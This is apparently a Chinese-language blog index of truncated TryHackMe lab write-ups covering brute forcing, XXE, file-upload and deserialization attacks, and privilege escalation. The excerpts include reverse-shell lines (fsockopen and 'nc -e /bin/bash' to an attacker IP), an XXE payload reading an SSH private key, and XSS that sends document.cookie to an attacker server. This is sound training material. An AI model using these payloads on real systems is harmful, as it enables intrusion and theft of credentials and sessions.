MoonlitSyntax - 月光下的轻语

Library-爆破,cat写文件,sudo -l

Library-爆破,cat写文件,sudo -l

发表于2024-06-07 | TryHackMe

得到密码iloveyou1 meliodas@ubuntu:~$ cat bak.py #!/usr/bin/env pythonimport osimport zipfiledef zipdir(path, ziph): for root, dirs, files in os.walk(path): for file in files: ziph.write(os.path.join(root, file))if __name__ == '__main__': zipf = zipfile.ZipFile('/var/backups/website.zip', 'w', zipfile.ZIP_DEFLATED) zipdir('/var/www/html', zipf) zipf.close() 有脚本权限 cat > bak.py << EOF#!/usr/bin/env pythonimport ptypty.spawn( ...

Madness jpg文件头 suid ,screen

Madness jpg文件头 suid ,screen

发表于2024-06-07 | TryHackMe

jpg格式 \xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01 但是他缺是png的头,补上 printf '\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01' | dd conv=notrunc of=thm.jpg bs=1 补完之后是个隐藏目录得到密码y2RPJ4QaPF!B 有suid权限的screen 惊了 [screen也能提权](GNU Screen 4.5.0 - Local Privilege Escalation - Linux local Exploit (exploit-db.com)) #!/bin/bash# screenroot.sh# setuid screen v4.5.0 local root exploit# abuses ld.so.preload overwriting to get root.# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html# HA ...

Mustacchio

发表于2024-06-07 | TryHackMe

扫描 custom下的有个bak 密码是bulldog19 另一个端口admin:bulldog19登录 <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [ <!ENTITY xxe SYSTEM "file:///home/barry/.ssh/id_rsa">]><comment> <name>Joe Hamd</name> <author>Barry Clad</author> <com>&xxe;</com></comment> 其实一眼就看出来是xml了,没去试爆破id_rsa urieljames 环境变量劫持suid程序里的tail

Nax CVE-2019-15949

Nax CVE-2019-15949

发表于2024-06-07 | TryHackMe

nagiosxi有个站点,这个站点有CVE应该 misc解码,逆天,PI3T.PNg nagiox Piet Mondriannagiosadmin 没用,逆天了 [打谜语呢](BertNase’s Own - npiet fun!) nagiosadminn3p3UQ&9BjLp4$7uhWdY msf启动 nday就是嗦

Ninja Skills linux find

Ninja Skills linux find

发表于2024-06-07 | TryHackMe

好用,爱用,多用 `find / -type f ( -name 8V2L -o -name bny0 -o -name c4ZX -o -name D8B3 -o -name FHl1 -o -name oiMO -o -name PFbD -o -name rmfX -o -name SRSq -o -name uqyw -o -name v2Vb -o -name X1Uy ) 2>/dev/ 查组 find / -type f \( -name 8V2L -o -name bny0 -o -name c4ZX -o -name D8B3 -o -name FHl1 -o -name oiMO -o -name PFbD -o -name rmfX -o -name SRSq -o -name uqyw -o -name v2Vb -o -name X1Uy \) -exec ls -l {} \; 2>/dev/null 查找内容ip find / -type f \( -name 8V2L -o -name bny0 -o -name c4ZX ...

Opacity2 john,文件上传反弹shell,pypy定时任务,keepassxc爆破密码

Opacity2 john,文件上传反弹shell,pypy定时任务,keepassxc爆破密码

发表于2024-06-07 | TryHackMe

上传文件的时候http://10.10.117.180/cloud/images/reversephp.php#.jpg(或者空格)都能截断 keepass2john dataset.kdbx > hashjohn hash --wordlist=/usr/share/wordlists/rockyou.txtkeepassxc dataset.kdbx 这个文件是opt目录下找到的 Cl0udP4ss40p4city#8700 然后就直接找到脚本文件backup.inc.php,没有修改权限,但是能直接rm,覆写一份就行 $sock=fsockopen("10.17.6.173",4444);exec("sh <&3 >&3 2>&3");

Spring

发表于2024-06-07 | TryHackMe

curl -v -k https://10.10.52.116* Trying 10.10.52.116:443...* Connected to 10.10.52.116 (10.10.52.116) port 443* ALPN: curl offers h2,http/1.1* TLSv1.3 (OUT), TLS handshake, Client hello (1):* TLSv1.3 (IN), TLS handshake, Server hello (2):* TLSv1.2 (IN), TLS handshake, Certificate (11):* TLSv1.2 (IN), TLS handshake, Server key exchange (12):* TLSv1.2 (IN), TLS handshake, Server finished (14):* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):* TLSv1.2 (OUT), TLS change cipher, Change ciph ...

StuxCTF 密码,反序列化

StuxCTF 密码,反序列化

发表于2024-06-07 | TryHackMe

<?phpclass file{ public $file = 'remote.php'; public $data = '<?php shell_exec("nc -e /bin/bash 10.17.6.173 4444"); ?>';}echo (serialize(new file));?> 逆天sudo su

Team

发表于2024-06-07 | TryHackMe

echo "10.10.153.53 team.thm" | sudo tee -a /etc/hosts 然后去爆破目录 #!/bin/bashread -p "Enter Username: " ftpuserread -sp "Enter Username Password: " T3@m$h@r3echoftp_server="localhost"ftp_username="$Username"ftp_password="$Password"mkdir /home/username/linux/source_foldersource_folder="/home/username/source_folder/"cp -avr config* $source_folderdest_folder="/home/username/linux/dest_folder/"ftp -in $ftp_server <<END ...

Willow nfs ssh密钥破解

Willow nfs ssh密钥破解

发表于2024-06-07 | TryHackMe

nmap发现2049端口有nfs服务器 showmount -e 10.10.184.101sudo mkdir /mnt/nfssudo mount -t nfs 10.10.184.101:/var/failsafe /mnt/nfs 进入目录拿到key pair Public Key Pair: (23, 37627)Private Key Pair: (61527, 37627) 进入网站解密 !(/z-img/Pasted image 20240403010022.PNG) 然后ssh2john爆破密码得到wildflower (key) chmod 600 key 有点问题,连接不上直接wp了 sudo下有个(ALL : ALL) NOPASSWD: /bin/mount /dev/* 直接挂载 willow@willow-tree:~$ mkdir /home/willom/bcp/willow@willow-tree:~$ sudo mount /dev/hidden_backup /home/willow/bcp/willow@willow-tre ...

之前的打了和没打一样,第一次见这样记笔记的,还是得加标签啊,逆天逆天逆天

之前的打了和没打一样,第一次见这样记笔记的,还是得加标签啊,逆天逆天逆天

发表于2024-06-07 | TryHackMe

WhyHackMe

发表于2024-06-07 | TryHackMe

ftp <script>fetch("http://10.17.6.173:9000",{method: "POST", body: document.cookie});</script> 注册时候xss,文件在kali的css文件夹里 <script src=http://10.17.6.173:9000/exfil.js></script> 怎么找到的这就是给iptables sudo权限的原因吗 sudo /usr/sbin/iptables -L --line-numberssudo /usr/sbin/iptables -D INPUTsudo /usr/sbin/iptables -I INPUT -p tcp --dport 41312 -j ACCEPT find / -name "*.key" 2> /dev/null 流量是tls,先找密钥 -----BEGIN PRIVATE KEY-----MIIJQgIBADANBgkq ...